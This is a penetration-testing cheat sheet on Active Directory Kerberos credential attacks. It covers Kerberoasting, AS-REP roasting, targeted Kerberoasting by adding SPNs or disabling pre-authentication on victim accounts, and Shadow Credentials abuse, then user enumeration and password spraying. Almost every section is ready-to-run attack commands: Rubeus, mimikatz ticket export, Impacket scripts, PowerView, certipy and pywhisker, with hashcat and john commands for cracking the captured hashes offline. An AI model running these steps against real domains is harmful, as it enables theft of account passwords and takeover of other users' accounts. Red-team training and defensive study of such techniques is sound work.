

# Kerberoasting

## Table Of Content

|                                                                |    |
|----------------------------------------------------------------|----|
| 1. Kerberoasting Fundamentals -----                            | 1  |
| 2. Targeted Kerberoasting - AS-REPs Roasting-----              | 3  |
| 3. Targeted Kerberoasting - Set SPN-----                       | 6  |
| 4. Brute Forcing & Password Spraying using CME / NetExec ----- | 11 |

## 1. Kerberoasting Fundamentals

Kerberoasting is a technique that allows an attacker to steal the password hash of a service account. The attack exploits the Kerberos TGS-REQ packet exchange. Because any valid user can request a service ticket for any service, an attacker can extract the Ticket Granting Service (TGS) ticket from memory and attempt to crack it offline.

Save the TGS ticket to the disk and brute force it. DC identifies the service account by ServicePrincipalName but service accounts password are freaking hard to crack in most of the cases.

### 1. Find users with SPN's set to their Accounts

#import the module and Find the users

```
Import-Module .\GetUserSPNs.ps1
```

or

#AD module

```
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties  
ServicePrincipalName
```

or

```
#Poweview
```

```
Get-NetUser -SPN
```

## **2. Get TGS Ticket Using GetUserSPNs.py**

```
sudo GetUserSPNs.py -request -dc-ip 10.10.10.10 Steins.local/mark
```

## **3. Get TGS Ticket Using AD Module**

#request the TGS Ticket using AD Module, use the SPN name found using above commands

```
powershell.exe -exec bypass -c "Add-Type -AssemblyName  
System.IdentityModel; New-Object  
System.IdentityModel.Tokens.KerberosRequestorSecurityToken -  
ArgumentList 'SPNNAME/hostname.steins.LOCAL:1433' "
```

## **4. Get TGS Ticket Using PowerView**

```
Request-SPNTicket
```

## **5. Get TGS Ticket Using Invoke-Kerberoast**

```
Import-Module .\Invoke-Kerberoast.ps1
```

```
#Generate the hash
```

```
Invoke-Kerberoast -OutputFormat Hashcat
```

## **6. Get TGS Ticket Using Rubeus**

```
.\Rubeus.exe kerberoast /domain:steins.local /user:username  
/format:hashcat /outfile:hash.txt
```

```
#Export the ticket from memory to disk using mimikatz
```

```
Invoke-Mimikatz -Command '"Kerberos::list /export"'
```

## 6.1 Cracking the hash

```
hashcat -m 13100 -a 0 ticket.hashcat /usr/share/wordlists/rockyou.txt  
-r /usr/share/hashcat/rules/T0XlC-insert_space_and_special_0_F.rule --  
force
```

or

```
hashcat -a 0 -m 13100 ticket.hashcat /usr/share/wordlists/rockyou.txt  
-r /usr/share/hashcat/rules/d3ad0ne.rule --force
```

or

```
hashcat -a 0 -m 13100 hash ~/Downloads/Tools/rockyou.txt -r  
/usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --force
```

or

```
hashcat -m 13100 krb5t_hash rockyou.txt --force
```

or

```
python tgscrack.py wordlist.txt hash.txt
```

## 2. Targeted Kerberoasting - AS-REPs Roasting

While often grouped with Kerberoasting, AS-REP Roasting is a distinct attack against users who do not require Kerberos pre-authentication. If this setting is enabled, an attacker can request an AS-REP ticket for that user and crack the encrypted chunk offline to recover the password.

Find users with -PreAuthNotRequired set or users to which we have access to Generic All/Generic Write ACL set. Log generated is 4769 for Adding DoNotPre-Auth on target user.

### Step- 1 - Finding Users with PreAuth not required

(Skip to Step-5 if you find any users)

#Powerview - Finding users with PreauthNotRequired set

```
Get-DomainUser -PreauthNotRequired -Verbose
```

#AD Module - Finding users with PreauthNotRequired set

```
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties  
DoesNotRequirePreAuths
```

#LDAPQuery - Finding users with PreAuth Not req

```
(&(UserAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountCo  
ntrol:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))
```

## Step - 2 - Finding users to Abuse

#Finding Users with enough permissions to modify acls

```
powerview_dev.ps1 Invoke-ACLScanner -ResolveGUIDs |  
{($_.IdentityReferenceName -match "RDPUUsers")}
```

#Finding Objects with GenericWrite

```
Get-ObjectAcl -SamAccountName * -ResolveGUIDs | ?  
{($_.ActiveDirectoryRights -match 'GenericWrite')}
```

#Finding users with GenericAll

```
Get-ObjectAcl -SamAccountName * -ResolveGUIDs | ?  
{($_.ActiveDirectoryRights -match 'GenericAll')}
```

#or check if anything matches with your SID (for ease of access)

```
Get-ObjectAcl -SamAccountName * -ResolveGUIDs | ?  
{($_.ActiveDirectoryRights -match 'GenericWrite') -and  
($_.SecurityIdentifier -match 'S-1-5-21-1087654965-336889418-  
4984984984-1501')}
```

## Step - 3 Disabling Pre-Auth

#PowerView : Disabling PreAuth for Kerberos

```
Powerview.exe Set-DomainObject -Identity USER_NAME -XOR  
@{useraccountcontrol=4194304} -Verbose
```

#Using AD Module Disabling PreAuth for Kerberos

```
Set-ADAccountControl -Identity Administrator -doesnotrequirepreauth  
$true
```

#Method Using bloodyAD (Linux)

#Set Pre-auth for a TargetUser; -k is to use Kerberos auth; uses  
KRB5CCNAME ENV variable

```
bloodyAD --host dc01.domain.local -d "Domain.Local" --dc-ip  
10.10.10.10 -k add uac TargetUserName -f DONT_REQ_PREAUTH
```

## **Step - 4 - Validating the changes**

#Find the users with PreAuth Not Required

```
Get-DomainUser -PreAuthNotRequired -Verbose
```

## **Step - 5 - Getting the AS-REP**

#Using ASREPROast.ps1 Requesting AS-REP for offline bruteforcing:

```
Get-ASREPhash -Username USER_NAME -Verbose  
Invoke-ASREPROast -Verbose
```

OR

#Using Rubeus for Requesting AS-REP for offline bruteforcing: remove all the spaces from  
the hash before bruteforcing

```
Rubeus.exe asreproast /user:UserName
```

OR

```
Rubeus.exe asreproast /user:Administrator /format:hashcat  
/outfile:hash.txt
```

OR

#get the hash using GetNPUsers.py

```
GetNPUsers.py STEINS-DC.LOCAL/ -usersfile users.txt -outputfile  
hashes.txt -dc-ip 10.10.10.10
```

#Get the list of users using NetExec

```
netexec smb dc01.domain.local -u ControlledUser$ -k --use-kcache --  
rid-brute | grep "SidTypeUser" | cut -d "\\" -f2 | cut -d " " -f1 >  
users.txt
```

## Step - 6 - Cracking the hash

#Copy the hash and crack it using John

```
john krbhash --wordlist=wordlist.txt
```

#Cracking using Hashcat; add \$23 after \$krb5asrep if you do not export the hash as hashcat format

```
hashcat -m 18200 hash -a 3 rockyou.txt  
hashcat -m 18200 hash rockyou.txt -r  
/usr/share/hashcat/rules/d3ad0ne.rule --force
```

## 3. Targeted Kerberoasting - Set SPN

Targeted Kerberoasting involves identifying a user account over which you have write permissions (GenericAll or GenericWrite), adding a Service Principal Name (SPN) to that account, and then performing a standard Kerberoasting attack.

### Step -1

#PowerView - Find users with GenericAll Permissions Set

```
Invoke-ACLScanner -ResolveGUIDs | {$_.IdentityReferenceName -match  
"RDPUsers"}
```

#AD Module - Find the user without SPN

```
Get-ADUser -Identity USER_Name -Properties ServicePrincipalName |  
Select ServicePrincipalName
```

## Step -2

#AD Module - Set SPN for a User (Must be Unique for the domain)

```
Set-ADUser -Identity USER_NAME -ServicePrincipalNames  
@{Add='DomainName/SomeUniqueName'} -Server steins.local
```

#PowerView - Set SPN for a User

```
Set-DomainObject -Identity USER_NAME -Set @{serviceprincipalName =  
'DomainName/SomeUniqueName'}
```

or

```
Set-ADObject -SamAccountName <TARGET_Username> -PropertyName  
serviceprincipalname -PropertyValue 'domainName/SomeUniqueName'
```

#Setting SPN Using addspn.py

```
python addspn.py steinsdc.local -u <USER_WITH_WRITE_PRIVS> --spn  
"DomainName/SomeUniqueName" --target TARGET_USERNAME
```

#Using targetedKerberoast.py (Automated Python Script)

```
git clone https://github.com/ShutdownRepo/targetedKerberoast.git  
python -m pip install -r requirements.txt  
# This script sets the SPN, kerberoasts the user, and cleans up  
automatically  
targetedKerberoast.py -v -d 'domain.local' -u 'controlledUser' -p  
'ItsPassword' --dc-ip 10.10.10.10
```

## Step -3

#Validate SPN Set to the username

```
Get-ADUser -Identity USER_Name -Properties ServicePrincipalName |  
Select ServicePrincipalName
```

## Step -4

#Requesting TGS Ticket using AD Module

```
Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosReceiverSecurityToken -  
ArgumentList 'DomainName/SomeUniqueName'
```

#Get TGS Ticket Using PowerView

```
Request-SPNTicket  
Get-Domainuser Target_Username | Get-DomainSPNTicket
```

#Get TGS Ticket Using Invoke-Kerberoast

```
Import-Module .\Invoke-Kerberoast.ps1
```

#Generate the hash

```
Invoke-Kerberoast -OutputFormat Hashcat
```

#Get TGS Ticket Using Rubeus

```
.\Rubeus.exe kerberoast /domain:steins.local /user:username  
/format:hashcat /outfile:hash.txt
```

#Get TGS Ticket and the hash using GetUserSPNs.py

```
GetUserSPNs.py domain/username -request
```

#Request a TGS using Invoke-Kerberoast.ps1

```
Invoke-Kerberoast -Identity Traget_username
```

## Step -5

#check the TGS Ticket for DomainName/SomeUniqueName

```
klist
```

#Export the tickets

```
Invoke-Mimikatz -Command '"kerberos::list /export"'
```

### Cleanup:

```
Set-ADUser -Identity USER_NAME -ServicePrincipalNames  
@{Remove='DomainName/SomeUniqueName'} -Server steins.local
```

```
python addspn.py steinsdc.local -u <USER_WITH_WRITE_PRIVS> --spn  
"DomainName/SomeUniqueName" --target TARGET_USERNAME --remove
```

```
Set-DomainObject -Identity USER_NAME -Clear serviceprincipalname
```

```
Set-ADObject -SamAccountName <TARGET> -PropertyName  
serviceprincipalname -ClearValue
```

### Step -6

#Crack the TGS Ticket

```
hashcat -m 13100 -a 0 ticket.hashcat /usr/share/wordlists/rockyou.txt  
-r /usr/share/hashcat/rules/T0X1C-insert_space_and_special_0_F.rule --  
force
```

or

```
hashcat -a 0 -m 13100 ticket.hashcat /usr/share/wordlists/rockyou.txt  
-r /usr/share/hashcat/rules/d3ad0ne.rule --force
```

or

```
hashcat -a 0 -m 13100 hash ~/Downloads/Tools/rockyou.txt -r  
/usr/share/hashcat/rules/InsidePro-PasswordsPro.rule --force
```

or

```
hashcat -m 13100 krb5t_hash rockyou.txt --force
```

or

```
python tgscrack.py wordlist.txt hash.txt
```

-----  
#Single Command using Powerview after you find the user

```
Set-DomainObject -Identity USER_NAME -Set @{serviceprincipalname =  
'DomainName/SomeUniqueName'}  
$User = Get-DomainUser USER_NAME  
$User | Get-DomainSPNTicket | fl  
$User | Select serviceprincipalname  
Set-DomainObject -Identity USER_NAME -Clear serviceprincipalname
```

### Alternative: Shadow Credentials (Modern Linux Path)

If you have GenericWrite/GenericAll permissions but want to avoid setting an SPN, you can use Shadow Credentials (PKINIT) to obtain a TGT and then recover the NT hash.

#### Method 1: Using certipy-ad

```
pip3 install certipy-ad  
certipy shadow auto -u 'ControllerUser@DOMAIN.Local' -p  
"Controlled_Passwd" -account 'Victim_User' -dc-ip '10.10.10.10'
```

#### Method 2: Using pywhisker & PKINITtools

```
# 1. Add Key Credential  
pywhisker -d "DOMAIN.Local" -u "ControlledUser" -p "P@SSw0rd!" --  
target "victim_user" --action "add"
```

```
# 2. Get TGT using the generated certificate  
python ./gettgtpkinit.py -cert-pfx ./XNGPSfJF.pfx -pfx-pass  
Tg8nymEvBWvLLsJoGmXA DOMAIN.Local/victim_user TGT.ccache
```

```
# 3. Recover NT Hash  
export KRB5CCNAME=/home/user/TGT.ccache  
python getnthash.py -key DOMAIN.Local/victim_user
```

### 4. Brute Forcing Domain Users

```
kerbrute userenum --dc 10.10.10.10 -d steins.local users.txt
```

Download Kerbrute from here

```
kerbrute userenum --domain htb.local  
/usr/share/SecLists/Username/xato-net-10-million-usernames.txt --dc  
10.10.10.10
```

#brute forcing using Rubeus

```
Rubeus.exe /users:users.txt /passwords:wordlist.txt  
/domain:steins.local /outfile:Output.txt
```

## 4. Brute Forcing & Password Spraying using CME / NetExec

Note: NetExec (nxc) is the modern fork of CrackMapExec.

```
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p  
~/file_containing_passwords  
crackmapexec <protocol> <target(s)> -u username1 username2 -p  
password1
```

#Password Spraying without brute force CME

```
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H  
~/file_containing_ntlm_hashes --no-brute force
```

```
crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p  
~/file_containing_passwords --no-brute force
```

### ASREP Roast via Linux: Get users hash from a DoNotPre-Auth user

```
sudo GetNPUsers.py STEINS-DC.LOCAL/ -usersfile users.txt -outputfile  
hashes.txt -dc-ip 10.10.10.10
```

```
sudo john hash --format=krb5asrep --wordlist=rockyou.txt # better copy  
rockyou.txt to the same location
```

### ASREP Roast as an Authenticated user

```
python3 GetNPUsers.py steins.local/user:"password!" -dc-ip 10.10.10.10  
-request
```